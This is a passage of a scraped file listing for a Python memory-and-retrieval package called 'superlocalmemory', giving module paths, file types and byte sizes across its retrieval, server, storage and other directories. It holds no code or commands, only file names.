bytessrc/superlocalmemory/retrieval/project_search.pyruns5,557 bytessrc/superlocalmemory/retrieval/quantization_aware_search.pyruns4,714 bytessrc/superlocalmemory/retrieval/query_embedding.pyruns9,867 bytessrc/superlocalmemory/retrieval/query_entities.pyruns3,978 bytessrc/superlocalmemory/retrieval/query_lexicon.pyruns1,671 bytessrc/superlocalmemory/retrieval/query_rewrite.pyruns6,913 bytessrc/superlocalmemory/retrieval/remote_rerank_guard.pyruns8,693 bytessrc/superlocalmemory/retrieval/remote_reranker.pyruns29,285 bytessrc/superlocalmemory/retrieval/remote_reranker_config.pyruns11,044 bytessrc/superlocalmemory/retrieval/remote_view.pyruns5,677 bytessrc/superlocalmemory/retrieval/request_memories.pyruns6,834 bytessrc/superlocalmemory/retrieval/rerank_pool.pyruns1,882 bytessrc/superlocalmemory/retrieval/reranker.pyruns37,023 bytessrc/superlocalmemory/retrieval/reranker_lead.pyruns4,137 bytessrc/superlocalmemory/retrieval/scope_policy.pyruns5,948 bytessrc/superlocalmemory/retrieval/semantic_channel.pyruns25,435 bytessrc/superlocalmemory/retrieval/snapshot_admission.pyruns1,649 bytessrc/superlocalmemory/retrieval/source_assertions.pyruns1,735 bytessrc/superlocalmemory/retrieval/source_fidelity_flags.pyruns7,291 bytessrc/superlocalmemory/retrieval/source_verdict.pyruns1,841 bytessrc/superlocalmemory/retrieval/spreading.pyruns11,651 bytessrc/superlocalmemory/retrieval/spreading_activation.pyruns33,690 bytessrc/superlocalmemory/retrieval/strategy.pyruns11,744 bytessrc/superlocalmemory/retrieval/sufficiency.pyruns33,093 bytessrc/superlocalmemory/retrieval/support_gate.pyruns9,795 bytessrc/superlocalmemory/retrieval/support_recipe.pyruns12,841 bytessrc/superlocalmemory/retrieval/support_tiers.pyruns5,629 bytessrc/superlocalmemory/retrieval/tag_scope.pyruns4,656 bytessrc/superlocalmemory/retrieval/tag_search.pyruns7,526 bytessrc/superlocalmemory/retrieval/temporal_channel.pyruns19,503 bytessrc/superlocalmemory/retrieval/temporal_frame.pyruns3,490 bytessrc/superlocalmemory/retrieval/temporal_slice_cache.pyruns2,257 bytessrc/superlocalmemory/retrieval/temporal_utils.pyruns5,433 bytessrc/superlocalmemory/retrieval/temporal_validity_filter.pyruns20,710 bytessrc/superlocalmemory/retrieval/text_floor.pyruns1,724 bytessrc/superlocalmemory/retrieval/time_filter.pyruns3,150 bytessrc/superlocalmemory/retrieval/time_window.pyruns10,489 bytessrc/superlocalmemory/retrieval/vector_index_build.pyruns3,374 bytessrc/superlocalmemory/retrieval/vector_physical.pyruns9,093 bytessrc/superlocalmemory/retrieval/vector_presence.pyruns8,014 bytessrc/superlocalmemory/retrieval/vector_store.pyruns37,367 bytessrc/superlocalmemory/retrieval/visibility.pyruns8,554 bytessrc/superlocalmemory/runtimes/__init__.pyruns980 bytessrc/superlocalmemory/runtimes/features.pyruns14,613 bytessrc/superlocalmemory/runtimes/locks/.gitkeepasset0 bytessrc/superlocalmemory/runtimes/locks/media-darwin-arm64-py312.txtdoc108,852 bytessrc/superlocalmemory/runtimes/locks/media-darwin-arm64-py313.txtdoc108,852 bytessrc/superlocalmemory/runtimes/locks/media-darwin-arm64-py314.txtdoc108,852 bytessrc/superlocalmemory/runtimes/locks/media-linux-aarch64-py312.txtdoc104,890 bytessrc/superlocalmemory/runtimes/locks/media-linux-aarch64-py313.txtdoc104,890 bytessrc/superlocalmemory/runtimes/locks/media-linux-aarch64-py314.txtdoc104,890 bytessrc/superlocalmemory/runtimes/locks/media-linux-x86_64-py312.txtdoc104,926 bytessrc/superlocalmemory/runtimes/locks/media-linux-x86_64-py313.txtdoc104,926 bytessrc/superlocalmemory/runtimes/locks/media-linux-x86_64-py314.txtdoc104,926 bytessrc/superlocalmemory/runtimes/locks/media-windows-amd64-py312.txtdoc105,166 bytessrc/superlocalmemory/runtimes/locks/media-windows-amd64-py313.txtdoc105,166 bytessrc/superlocalmemory/runtimes/locks/media-windows-amd64-py314.txtdoc105,166 bytessrc/superlocalmemory/runtimes/managed_env.pyruns19,574 bytessrc/superlocalmemory/runtimes/managed_text.pyruns9,899 bytessrc/superlocalmemory/runtimes/media_canary.pyruns2,899 bytessrc/superlocalmemory/runtimes/media_env.pyruns3,922 bytessrc/superlocalmemory/runtimes/media_image_ops.pyruns12,092 bytessrc/superlocalmemory/runtimes/media_models.pyruns5,231 bytessrc/superlocalmemory/runtimes/media_ram.pyruns1,857 bytessrc/superlocalmemory/runtimes/model_sources.pyruns5,087 bytessrc/superlocalmemory/runtimes/multimodal_worker.pyruns19,200 bytessrc/superlocalmemory/runtimes/pdf_parse.pyruns5,683 bytessrc/superlocalmemory/runtimes/ports.pyruns1,643 bytessrc/superlocalmemory/runtimes/space_plan.pyruns6,456 bytessrc/superlocalmemory/runtimes/worker_client.pyruns22,663 bytessrc/superlocalmemory/runtimes/worker_limits.pyruns5,612 bytessrc/superlocalmemory/runtimes/worker_log.pyruns3,740 bytessrc/superlocalmemory/server/__init__.pyruns40 bytessrc/superlocalmemory/server/access_gate.pyruns8,529 bytessrc/superlocalmemory/server/acting_profile.pyruns1,919 bytessrc/superlocalmemory/server/answer_check_execution.pyruns1,141 bytessrc/superlocalmemory/server/api.pyruns14,122 bytessrc/superlocalmemory/server/asset_versions.pyruns7,301 bytessrc/superlocalmemory/server/audit_view.pyruns4,387 bytessrc/superlocalmemory/server/background_view.pyruns1,120 bytessrc/superlocalmemory/server/backup_bundle.pyruns12,337 bytessrc/superlocalmemory/server/backup_restore_txn.pyruns9,853 bytessrc/superlocalmemory/server/backup_restore_worker.pyruns6,151 bytessrc/superlocalmemory/server/backup_rollback.pyruns7,150 bytessrc/superlocalmemory/server/bandit_loops.pyruns5,455 bytessrc/superlocalmemory/server/caller_workspace.pyruns13,901 bytessrc/superlocalmemory/server/config_file.pyruns2,805 bytessrc/superlocalmemory/server/consent_receipts.pyruns4,715 bytessrc/superlocalmemory/server/consolidation_runner.pyruns5,769 bytessrc/superlocalmemory/server/daemon_cors.pyruns691 bytessrc/superlocalmemory/server/daemon_diagnostics.pyruns1,959 bytessrc/superlocalmemory/server/egress_policy.pyruns8,501 bytessrc/superlocalmemory/server/endpoint_cache.pyruns1,923 bytessrc/superlocalmemory/server/entity_index_repair.pyruns8,259 bytessrc/superlocalmemory/server/forwarded_guard.pyruns4,179 bytessrc/superlocalmemory/server/hook_event_writer.pyruns17,833 bytessrc/superlocalmemory/server/host_guard.pyruns5,843 bytessrc/superlocalmemory/server/kind_error.pyruns1,205 bytessrc/superlocalmemory/server/legacy_port.pyruns5,172 bytessrc/superlocalmemory/server/live_engine.pyruns1,064 bytessrc/superlocalmemory/server/local_host_setup.pyruns2,131 bytessrc/superlocalmemory/server/loopback.pyruns3,588 bytessrc/superlocalmemory/server/manual_heal.pyruns2,006 bytessrc/superlocalmemory/server/media_housekeeping.pyruns3,169 bytessrc/superlocalmemory/server/media_size.pyruns2,676 bytessrc/superlocalmemory/server/memory_health_service.pyruns5,104 bytessrc/superlocalmemory/server/middleware/__init__.pyruns501 bytessrc/superlocalmemory/server/middleware/security_headers.pyruns5,955 bytessrc/superlocalmemory/server/mode_selection.pyruns1,070 bytessrc/superlocalmemory/server/mutation_gate.pyruns11,839 bytessrc/superlocalmemory/server/open_files.pyruns1,496 bytessrc/superlocalmemory/server/ops_scope.pyruns3,734 bytessrc/superlocalmemory/server/origin.pyruns4,659 bytessrc/superlocalmemory/server/profile_lease.pyruns1,989 bytessrc/superlocalmemory/server/profile_runtime.pyruns24,014 bytessrc/superlocalmemory/server/rbac_enforce.pyruns15,715 bytessrc/superlocalmemory/server/read_gates.pyruns13,454 bytessrc/superlocalmemory/server/read_targets.pyruns2,762 bytessrc/superlocalmemory/server/recall_admission.pyruns1,646 bytessrc/superlocalmemory/server/recall_cache.pyruns4,603 bytessrc/superlocalmemory/server/recall_core.pyruns25,700 bytessrc/superlocalmemory/server/recall_deadline.pyruns3,164 bytessrc/superlocalmemory/server/recall_dispatch.pyruns796 bytessrc/superlocalmemory/server/recall_fallback.pyruns12,768 bytessrc/superlocalmemory/server/recall_health.pyruns20,131 bytessrc/superlocalmemory/server/recall_ingress.pyruns3,928 bytessrc/superlocalmemory/server/recall_serializer.pyruns18,851 bytessrc/superlocalmemory/server/recall_warmup.pyruns7,881 bytessrc/superlocalmemory/server/recovery_inventory.pyruns2,528 bytessrc/superlocalmemory/server/recovery_marker.pyruns7,021 bytessrc/superlocalmemory/server/remember_completion.pyruns1,989 bytessrc/superlocalmemory/server/remote_access.pyruns8,992 bytessrc/superlocalmemory/server/remote_access_state.pyruns1,435 bytessrc/superlocalmemory/server/remote_conn_guard.pyruns11,762 bytessrc/superlocalmemory/server/remote_keys.pyruns18,889 bytessrc/superlocalmemory/server/remote_listener.pyruns17,077 bytessrc/superlocalmemory/server/remote_profile_binding.pyruns16,675 bytessrc/superlocalmemory/server/remote_redaction.pyruns7,992 bytessrc/superlocalmemory/server/remote_tool_policy.pyruns29,253 bytessrc/superlocalmemory/server/route_mutations.pyruns6,415 bytessrc/superlocalmemory/server/routed_profile.pyruns1,887 bytessrc/superlocalmemory/server/routes/__init__.pyruns230 bytessrc/superlocalmemory/server/routes/abstraction.pyruns13,720 bytessrc/superlocalmemory/server/routes/adapters.pyruns4,627 bytessrc/superlocalmemory/server/routes/agents.pyruns13,877 bytessrc/superlocalmemory/server/routes/answer_calibration.pyruns2,128 bytessrc/superlocalmemory/server/routes/answer_check.pyruns24,582 bytessrc/superlocalmemory/server/routes/answer_check_actions.pyruns8,755 bytessrc/superlocalmemory/server/routes/answer_check_history.pyruns14,703 bytessrc/superlocalmemory/server/routes/answer_check_support.pyruns16,775 bytessrc/superlocalmemory/server/routes/backup.pyruns36,336 bytessrc/superlocalmemory/server/routes/backup_encryption.pyruns2,012 bytessrc/superlocalmemory/server/routes/backup_legacy_verify.pyruns1,568 bytessrc/superlocalmemory/server/routes/backup_recovery.pyruns8,256 bytessrc/superlocalmemory/server/routes/behavioral.pyruns20,965 bytessrc/superlocalmemory/server/routes/brain.pyruns74,736 bytessrc/superlocalmemory/server/routes/chat.pyruns16,217 bytessrc/superlocalmemory/server/routes/compliance.pyruns28,067 bytessrc/superlocalmemory/server/routes/config_api.pyruns29,016 bytessrc/superlocalmemory/server/routes/connections.pyruns12,709 bytessrc/superlocalmemory/server/routes/dashboard_feeds.pyruns3,933 bytessrc/superlocalmemory/server/routes/dashboard_tasks.pyruns5,949 bytessrc/superlocalmemory/server/routes/data_io.pyruns10,967 bytessrc/superlocalmemory/server/routes/embedding_reindex.pyruns15,559 bytessrc/superlocalmemory/server/routes/entity.pyruns9,686 bytessrc/superlocalmemory/server/routes/events.pyruns7,937 bytessrc/superlocalmemory/server/routes/evolution.pyruns20,489 bytessrc/superlocalmemory/server/routes/export_delivery.pyruns4,166 bytessrc/superlocalmemory/server/routes/export_memories.pyruns8,786 bytessrc/superlocalmemory/server/routes/facets.pyruns1,674 bytessrc/superlocalmemory/server/routes/features.pyruns6,120 bytessrc/superlocalmemory/server/routes/helpers.pyruns23,208 bytessrc/superlocalmemory/server/routes/hook_events.pyruns2,052 bytessrc/superlocalmemory/server/routes/ingest.pyruns5,871 bytessrc/superlocalmemory/server/routes/insights.pyruns15,201 bytessrc/superlocalmemory/server/routes/integrity.pyruns6,825 bytessrc/superlocalmemory/server/routes/learning.pyruns31,863 bytessrc/superlocalmemory/server/routes/learning_readiness.pyruns1,484 bytessrc/superlocalmemory/server/routes/learning_telemetry.pyruns5,758 bytessrc/superlocalmemory/server/routes/lifecycle.pyruns7,471 bytessrc/superlocalmemory/server/routes/local_apps.pyruns7,603 bytessrc/superlocalmemory/server/routes/media.pyruns21,167 bytessrc/superlocalmemory/server/routes/media_dashboard_upload.pyruns5,298 bytessrc/superlocalmemory/server/routes/media_upload.pyruns5,046 bytessrc/superlocalmemory/server/routes/memories.pyruns91,609 bytessrc/superlocalmemory/server/routes/memory_health.pyruns3,575 bytessrc/superlocalmemory/server/routes/memory_kinds.pyruns20,677 bytessrc/superlocalmemory/server/routes/mesh.pyruns21,889 bytessrc/superlocalmemory/server/routes/mesh_lock.pyruns2,070 bytessrc/superlocalmemory/server/routes/mesh_owner.pyruns3,584 bytessrc/superlocalmemory/server/routes/mesh_state.pyruns2,183 bytessrc/superlocalmemory/server/routes/optimize.pyruns7,960 bytessrc/superlocalmemory/server/routes/overtaken.pyruns3,875 bytessrc/superlocalmemory/server/routes/prewarm.pyruns6,766 bytessrc/superlocalmemory/server/routes/profiles.pyruns13,527 bytessrc/superlocalmemory/server/routes/ratelimit.pyruns4,528 bytessrc/superlocalmemory/server/routes/rbac.pyruns16,004 bytessrc/superlocalmemory/server/routes/recall_trace.pyruns4,779 bytessrc/superlocalmemory/server/routes/sources.pyruns7,380 bytessrc/superlocalmemory/server/routes/stats.pyruns16,056 bytessrc/superlocalmemory/server/routes/summaries.pyruns13,425 bytessrc/superlocalmemory/server/routes/tiers.pyruns7,880 bytessrc/superlocalmemory/server/routes/timeline.pyruns9,597 bytessrc/superlocalmemory/server/routes/token.pyruns4,129 bytessrc/superlocalmemory/server/routes/upgrade_restore.pyruns9,614 bytessrc/superlocalmemory/server/routes/v3_api.pyruns134,850 bytessrc/superlocalmemory/server/routes/views.pyruns13,274 bytessrc/superlocalmemory/server/routes/ws.pyruns6,688 bytessrc/superlocalmemory/server/search_presentation.pyruns2,106 bytessrc/superlocalmemory/server/security_middleware.pyruns4,237 bytessrc/superlocalmemory/server/sources_wiring.pyruns2,357 bytessrc/superlocalmemory/server/summary_cache.pyruns1,599 bytessrc/superlocalmemory/server/time_filter_error.pyruns1,327 bytessrc/superlocalmemory/server/ui.pyruns16,909 bytessrc/superlocalmemory/server/unified_daemon.pyruns352,687 bytessrc/superlocalmemory/server/upload_housekeeping.pyruns1,228 bytessrc/superlocalmemory/server/validation_errors.pyruns1,892 bytessrc/superlocalmemory/server/vector_backfill.pyruns4,774 bytessrc/superlocalmemory/server/view_cache.pyruns2,324 bytessrc/superlocalmemory/server/warmup_error.pyruns1,790 bytessrc/superlocalmemory/server/write_governance.pyruns3,310 bytessrc/superlocalmemory/server/write_identity.pyruns8,710 bytessrc/superlocalmemory/sources/__init__.pyruns1,095 bytessrc/superlocalmemory/sources/api.pyruns14,010 bytessrc/superlocalmemory/sources/borrows.pyruns1,481 bytessrc/superlocalmemory/sources/folder_watch.pyruns7,737 bytessrc/superlocalmemory/sources/host.pyruns2,190 bytessrc/superlocalmemory/sources/ignore.pyruns7,655 bytessrc/superlocalmemory/sources/ingest.pyruns17,963 bytessrc/superlocalmemory/sources/links.pyruns6,593 bytessrc/superlocalmemory/sources/locks.pyruns1,648 bytessrc/superlocalmemory/sources/obsidian.pyruns7,998 bytessrc/superlocalmemory/sources/picker.pyruns5,953 bytessrc/superlocalmemory/sources/preview.pyruns2,724 bytessrc/superlocalmemory/sources/reconcile.pyruns21,725 bytessrc/superlocalmemory/sources/report.pyruns2,232 bytessrc/superlocalmemory/sources/retire.pyruns17,328 bytessrc/superlocalmemory/sources/roots.pyruns5,396 bytessrc/superlocalmemory/sources/safe_read.pyruns1,589 bytessrc/superlocalmemory/sources/scanner.pyruns8,300 bytessrc/superlocalmemory/sources/store.pyruns13,167 bytessrc/superlocalmemory/sources/walk.pyruns4,935 bytessrc/superlocalmemory/storage/__init__.pyruns0 bytessrc/superlocalmemory/storage/_boot_snapshot.pyruns7,346 bytessrc/superlocalmemory/storage/_downgrade.pyruns10,919 bytessrc/superlocalmemory/storage/_durable_json.pyruns3,324 bytessrc/superlocalmemory/storage/_migration_catalogue.pyruns22,125 bytessrc/superlocalmemory/storage/_migration_internals.pyruns31,029 bytessrc/superlocalmemory/storage/_restore_boot.pyruns24,580 bytessrc/superlocalmemory/storage/_restore_damaged.pyruns4,825 bytessrc/superlocalmemory/storage/_restore_delta.pyruns22,424 bytessrc/superlocalmemory/storage/_restore_intent.pyruns4,789 bytessrc/superlocalmemory/storage/_restore_kinds.pyruns5,761 bytessrc/superlocalmemory/storage/_restore_learning.pyruns5,628 bytessrc/superlocalmemory/storage/_restore_preview.pyruns6,118 bytessrc/superlocalmemory/storage/_restore_public.pyruns2,778 bytessrc/superlocalmemory/storage/_restore_reimport.pyruns8,799 bytessrc/superlocalmemory/storage/_restore_retention.pyruns7,708 bytessrc/superlocalmemory/storage/_restore_types.pyruns4,889 bytessrc/superlocalmemory/storage/_schema_version.pyruns8,723 bytessrc/superlocalmemory/storage/_snapshot_manifest.pyruns11,708 bytessrc/superlocalmemory/storage/_snapshot_retention.pyruns10,021 bytessrc/superlocalmemory/storage/access_log.pyruns5,723 bytessrc/superlocalmemory/storage/admission_codec.pyruns4,728 bytessrc/superlocalmemory/storage/admission_journal.pyruns31,923 bytessrc/superlocalmemory/storage/agent_experience.pyruns24,484 bytessrc/superlocalmemory/storage/archive_repair.pyruns14,500 bytessrc/superlocalmemory/storage/backup.pyruns38,618 bytessrc/superlocalmemory/storage/correction_cases.pyruns32,052 bytessrc/superlocalmemory/storage/data_repair_undo.pyruns7,984 bytessrc/superlocalmemory/storage/database.pyruns170,107 bytessrc/superlocalmemory/storage/deferred_writes.pyruns7,840 bytessrc/superlocalmemory/storage/embedding_canonical_slots.pyruns5,625 bytessrc/superlocalmemory/storage/embedding_change_log.pyruns2,601 bytessrc/superlocalmemory/storage/embedding_codec.pyruns8,105 bytessrc/superlocalmemory/storage/embedding_migrator.pyruns28,510 bytessrc/superlocalmemory/storage/embedding_projection.pyruns5,888 bytessrc/superlocalmemory/storage/embedding_reindex_jobs.pyruns6,200 bytessrc/superlocalmemory/storage/embedding_space_swap.pyruns16,259 bytessrc/superlocalmemory/storage/embedding_spaces.pyruns13,556 bytessrc/superlocalmemory/storage/enrichment_ledger.pyruns8,515 bytessrc/superlocalmemory/storage/entity_index.pyruns23,729 bytessrc/superlocalmemory/storage/entity_link_repair.pyruns13,377 bytessrc/superlocalmemory/storage/entity_link_repair_apply.pyruns22,582 bytessrc/superlocalmemory/storage/entity_link_repair_junk.pyruns7,455 bytessrc/superlocalmemory/storage/erasure_derived.pyruns6,003 bytessrc/superlocalmemory/storage/erasure_fence.pyruns1,098 bytessrc/superlocalmemory/storage/erasure_visibility.pyruns5,850 bytessrc/superlocalmemory/storage/event_time.pyruns1,429 bytessrc/superlocalmemory/storage/execution_learning.pyruns13,583 bytessrc/superlocalmemory/storage/external_evidence.pyruns14,929 bytessrc/superlocalmemory/storage/fabricated_dates.pyruns6,733 bytessrc/superlocalmemory/storage/fabricated_dates_repair.pyruns20,411 bytessrc/superlocalmemory/storage/fact_context.pyruns1,181 bytessrc/superlocalmemory/storage/fact_dependents.pyruns2,597 bytessrc/superlocalmemory/storage/fact_search_changes.pyruns6,887 bytessrc/superlocalmemory/storage/fts_residue.pyruns12,088 bytessrc/superlocalmemory/storage/fts_terms.pyruns3,888 bytessrc/superlocalmemory/storage/generation_fence.pyruns2,015 bytessrc/superlocalmemory/storage/graph_generation.pyruns5,485 bytessrc/superlocalmemory/storage/hub_baseline_trigger.pyruns2,774 bytessrc/superlocalmemory/storage/idempotency_identity.pyruns2,825 bytessrc/superlocalmemory/storage/integrity_census.pyruns6,163 bytessrc/superlocalmemory/storage/integrity_diagnosis.pyruns4,785 bytessrc/superlocalmemory/storage/integrity_health.pyruns5,335 bytessrc/superlocalmemory/storage/integrity_obligations.pyruns5,118 bytessrc/superlocalmemory/storage/integrity_receipts.pyruns5,388 bytessrc/superlocalmemory/storage/integrity_repair.pyruns34,092 bytessrc/superlocalmemory/storage/integrity_scan.pyruns6,384 bytessrc/superlocalmemory/storage/journal_writer.pyruns18,379 bytessrc/superlocalmemory/storage/lineage_retention.pyruns8,983 bytessrc/superlocalmemory/storage/logical_edges.pyruns5,095 bytessrc/superlocalmemory/storage/memory_kind_store.pyruns15,666 bytessrc/superlocalmemory/storage/memory_kind_writes.pyruns24,272 bytessrc/superlocalmemory/storage/memory_kinds.pyruns12,423 bytessrc/superlocalmemory/storage/memory_write.pyruns4,619 bytessrc/superlocalmemory/storage/migration_runner.pyruns29,352 bytessrc/superlocalmemory/storage/migration_v33.pyruns4,417 bytessrc/superlocalmemory/storage/migrations.pyruns11,509 bytessrc/superlocalmemory/storage/migrations/M001_add_signal_features_columns.pyruns2,680 bytessrc/superlocalmemory/storage/migrations/M002_model_state_history.pyruns4,379 bytessrc/superlocalmemory/storage/migrations/M003_migration_log.pyruns1,359 bytessrc/superlocalmemory/storage/migrations/M004_cross_platform_sync_log.pyruns1,738 bytessrc/superlocalmemory/storage/migrations/M005_bandit_tables.pyruns2,594 bytessrc/superlocalmemory/storage/migrations/M006_action_outcomes_reward.pyruns3,199 bytessrc/superlocalmemory/storage/migrations/M007_pending_outcomes.pyruns2,292 bytessrc/superlocalmemory/storage/migrations/M009_model_lineage.pyruns3,563 bytessrc/superlocalmemory/storage/migrations/M010_evolution_config.pyruns2,892 bytessrc/superlocalmemory/storage/migrations/M011_archive_and_merge.pyruns3,298 bytessrc/superlocalmemory/storage/migrations/M012_shadow_observations.pyruns2,487 bytessrc/superlocalmemory/storage/migrations/M013_bi_temporal_columns.pyruns2,015 bytessrc/superlocalmemory/storage/migrations/M014_v345_scale_ready.pyruns1,451 bytessrc/superlocalmemory/storage/migrations/M015_add_pinned_column.pyruns1,964 bytessrc/superlocalmemory/storage/migrations/M016_add_scope_support.pyruns4,917 bytessrc/superlocalmemory/storage/migrations/M017_ccq_scope_column.pyruns2,989 bytessrc/superlocalmemory/storage/migrations/M018_ingestion_operations.pyruns4,382 bytessrc/superlocalmemory/storage/migrations/M019_derivation_lineage.pyruns2,038 bytessrc/superlocalmemory/storage/migrations/M020_model_state_integrity.pyruns1,893 bytessrc/superlocalmemory/storage/migrations/M021_ingestion_log_profile.pyruns9,273 bytessrc/superlocalmemory/storage/migrations/M022_entity_aliases_profile.pyruns3,454 bytessrc/superlocalmemory/storage/migrations/M023_mesh_profile_isolation.pyruns7,796 bytessrc/superlocalmemory/storage/migrations/M024_rbac_users_roles.pyruns3,107 bytessrc/superlocalmemory/storage/migrations/M025_perf_indexes.pyruns3,787 bytessrc/superlocalmemory/storage/migrations/M026_rbac_memberships_fk.pyruns5,637 bytessrc/superlocalmemory/storage/migrations/M027_transferable_patterns_profile.pyruns6,512 bytessrc/superlocalmemory/storage/migrations/M028_fact_entity_associations.pyruns11,645 bytessrc/superlocalmemory/storage/migrations/M029_behavioral_history_indexes.pyruns4,740 bytessrc/superlocalmemory/storage/migrations/M030_entity_explorer_indexes.pyruns2,974 bytessrc/superlocalmemory/storage/migrations/M031_dead_letter_operations.pyruns2,881 bytessrc/superlocalmemory/storage/migrations/M032_write_coordinator_admission.pyruns6,688 bytessrc/superlocalmemory/storage/migrations/M033_projection_transactions.pyruns4,630 bytessrc/superlocalmemory/storage/migrations/M034_obligation_integrity.pyruns1,662 bytessrc/superlocalmemory/storage/migrations/M035_erasure_receipts.pyruns3,278 bytessrc/superlocalmemory/storage/migrations/M036_vector_row_map.pyruns3,163 bytessrc/superlocalmemory/storage/migrations/M037_manifest_hmac_version.pyruns5,626 bytessrc/superlocalmemory/storage/migrations/M038_learning_feedback_channel.pyruns3,031 bytessrc/superlocalmemory/storage/migrations/M039_scene_fact_members.pyruns5,074 bytessrc/superlocalmemory/storage/migrations/M040_agent_experience_receipts.pyruns8,776 bytessrc/superlocalmemory/storage/migrations/M041_external_evidence_receipts.pyruns5,895 bytessrc/superlocalmemory/storage/migrations/M042_correction_case_ledger.pyruns8,909 bytessrc/superlocalmemory/storage/migrations/M043_quarantine_display_summaries.pyruns26,991 bytessrc/superlocalmemory/storage/migrations/M044_play_carries_its_own_evidence.pyruns4,971 bytessrc/superlocalmemory/storage/migrations/M045_fact_outcome_score.pyruns6,124 bytessrc/superlocalmemory/storage/migrations/M046_prospective_memory_has_its_own_name.pyruns25,931 bytessrc/superlocalmemory/storage/migrations/M047_fisher_vectors_are_stored_like_every_other_vector.pyruns13,177 bytessrc/superlocalmemory/storage/migrations/M048_upcoming_holds_only_what_is_upcoming.pyruns11,902 bytessrc/superlocalmemory/storage/migrations/M049_a_schema_version_marker_is_one_row.pyruns8,312 bytessrc/superlocalmemory/storage/migrations/M050_execution_learning_v2.pyruns2,353 bytessrc/superlocalmemory/storage/migrations/M051_lifecycle_is_recomputed_not_resampled.pyruns4,481 bytessrc/superlocalmemory/storage/migrations/M052_memory_kinds.pyruns10,033 bytessrc/superlocalmemory/storage/migrations/M053_answer_check_history.pyruns4,939 bytessrc/superlocalmemory/storage/migrations/M054_saved_views.pyruns3,583 bytessrc/superlocalmemory/storage/migrations/M055_learning_attribution.pyruns5,861 bytessrc/superlocalmemory/storage/migrations/M056_recall_channel_indexes.pyruns2,322 bytessrc/superlocalmemory/storage/migrations/M057_temporal_retrieval_version.pyruns6,563 bytessrc/superlocalmemory/storage/migrations/M058_recall_fact_cover.pyruns1,328 bytessrc/superlocalmemory/storage/migrations/M059_erasure_visibility.pyruns2,658 bytessrc/superlocalmemory/storage/migrations/M060_memory_description.pyruns3,347 bytessrc/superlocalmemory/storage/migrations/M061_fact_hub_baseline.pyruns2,870 bytessrc/superlocalmemory/storage/migrations/M062_hook_bookkeeping_is_flagged.pyruns4,808 bytessrc/superlocalmemory/storage/migrations/M063_blank_temporal_dates_are_null.pyruns2,851 bytessrc/superlocalmemory/storage/migrations/M064_orphan_index_rows_are_removed.pyruns2,514 bytessrc/superlocalmemory/storage/migrations/M065_fabricated_dates_are_removed.pyruns2,785 bytessrc/superlocalmemory/storage/migrations/M066_wrongly_archived_memories_are_restored.pyruns2,883 bytessrc/superlocalmemory/storage/migrations/M067_projection_follows_every_fact_change.pyruns1,792 bytessrc/superlocalmemory/storage/migrations/__init__.pyruns3,834 bytessrc/superlocalmemory/storage/migrations/_repair_util.pyruns5,715 bytessrc/superlocalmemory/storage/models.pyruns25,436 bytessrc/superlocalmemory/storage/own_fact_repair.pyruns16,824 bytessrc/superlocalmemory/storage/pending_media_moves.pyruns3,912 bytessrc/superlocalmemory/storage/profile_fold.pyruns21,138 bytessrc/superlocalmemory/storage/profile_fold_sidecars.pyruns6,366 bytessrc/superlocalmemory/storage/project_backfill.pyruns4,452 bytessrc/superlocalmemory/storage/projection_outbox.pyruns17,432 bytessrc/superlocalmemory/storage/qjl_repair.pyruns6,729 bytessrc/superlocalmemory/storage/quantized_store.pyruns11,037 bytessrc/superlocalmemory/storage/read_connection.pyruns5,765 bytessrc/superlocalmemory/storage/read_connection_pool.pyruns12,939 bytessrc/superlocalmemory/storage/recency_index.pyruns2,083 bytessrc/superlocalmemory/storage/replaced_memory.pyruns11,506 bytessrc/superlocalmemory/storage/retention_access.pyruns3,470 bytessrc/superlocalmemory/storage/retention_lifecycle.pyruns2,655 bytessrc/superlocalmemory/storage/retention_policy.pyruns37,576 bytessrc/superlocalmemory/storage/save_repair.pyruns9,865 bytessrc/superlocalmemory/storage/save_repair_apply.pyruns7,119 bytessrc/superlocalmemory/storage/scene_member_triggers.pyruns3,132 bytessrc/superlocalmemory/storage/schema.pyruns43,969 bytessrc/superlocalmemory/storage/schema_code_graph.pyruns12,294 bytessrc/superlocalmemory/storage/schema_v32.pyruns16,150 bytessrc/superlocalmemory/storage/schema_v3410.pyruns5,770 bytessrc/superlocalmemory/storage/schema_v3411.pyruns5,057 bytessrc/superlocalmemory/storage/schema_v343.pyruns11,081 bytessrc/superlocalmemory/storage/schema_v345.pyruns3,544 bytessrc/superlocalmemory/storage/schema_v347.pyruns4,856 bytessrc/superlocalmemory/storage/snapshot_pool.pyruns6,680 bytessrc/superlocalmemory/storage/source_identity.pyruns5,971 bytessrc/superlocalmemory/storage/sqlite_vectors.pyruns7,896 bytessrc/superlocalmemory/storage/store_cache_warm.pyruns4,069 bytessrc/superlocalmemory/storage/store_check.pyruns6,767 bytessrc/superlocalmemory/storage/store_repair.pyruns11,697 bytessrc/superlocalmemory/storage/store_signature.pyruns2,491 bytessrc/superlocalmemory/storage/unfinished_deletes.pyruns3,633 bytessrc/superlocalmemory/storage/upgrade_repair.pyruns8,040 bytessrc/superlocalmemory/storage/upgrade_restore.pyruns13,244 bytessrc/superlocalmemory/storage/v2_migrator.pyruns19,136 bytessrc/superlocalmemory/storage/vector_parity.pyruns12,763 bytessrc/superlocalmemory/storage/vector_residue.pyruns11,822 bytessrc/superlocalmemory/storage/visibility_index.pyruns3,076 bytessrc/superlocalmemory/storage/write_coordinator.pyruns43,375 bytessrc/superlocalmemory/storage/write_generation.pyruns920 bytessrc/superlocalmemory/storage/write_lock.pyruns3,045 bytessrc/superlocalmemory/storage/write_receipts_erasure.pyruns3,818 bytessrc/superlocalmemory/summaries/__init__.pyruns1,578 bytessrc/superlocalmemory/summaries/base.pyruns13,125 bytessrc/superlocalmemory/summaries/daily_reflection.pyruns13,867 bytessrc/superlocalmemory/summaries/non_answer.pyruns9,735 bytessrc/superlocalmemory/summaries/project_work_log.pyruns19,157 bytessrc/superlocalmemory/summaries/session_summary.pyruns11,978 bytessrc/superlocalmemory/summaries/sessions.pyruns2,796 bytessrc/superlocalmemory/tagging/__init__.pyruns481 bytessrc/superlocalmemory/tagging/extractors.pyruns5,043 bytessrc/superlocalmemory/trust/__init__.pyruns0 bytessrc/superlocalmemory/trust/gate.pyruns6,197 bytessrc/superlocalmemory/trust/provenance.pyruns4,311 bytessrc/superlocalmemory/trust/scorer.pyruns15,839 bytessrc/superlocalmemory/trust/signals.pyruns4,979 bytessrc/superlocalmemory/ui/assets/mascot/flying-320.webpasset17,846 bytessrc/superlocalmemory/ui/assets/mascot/hero-320.webpasset17,636 bytessrc/superlocalmemory/ui/assets/mascot/hero-640.webpasset51,914 